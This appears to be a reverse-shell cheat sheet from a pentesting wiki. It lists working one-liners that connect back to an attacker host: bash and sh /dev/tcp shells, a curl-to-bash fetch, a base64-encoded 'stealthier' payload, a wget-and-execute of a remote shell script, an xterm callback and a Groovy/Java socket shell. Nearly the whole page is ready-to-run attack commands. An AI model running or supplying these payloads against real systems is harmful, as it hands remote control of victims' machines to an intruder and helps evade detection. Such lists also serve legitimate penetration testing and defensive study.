If you have questions about any of these shells you could check them with https://explainshell.com/
Full TTY
Once you get a reverse shell read this page to obtain a full TTY.
Bash | sh
curl http://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (cretdits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell, to get the output execute
exec >&0
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Symbol safe shell
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
Create in file and execute
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
Forward Shell
You might find cases where you have a RCE in a web app in a, Linux machine but due to Iptables rules or other kind of filtering you cannot get a reverse shell. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system.
You can find the code in https://github.com/IppSec/forward-shell
You just need to modify:
- The URL of the vulnerable host
- The prefix and suffix of your payload (if any)
- The way the payload is sent (headers? data? extra info?)
Then, you can just send commands or even use the upgrade
command to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

Xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
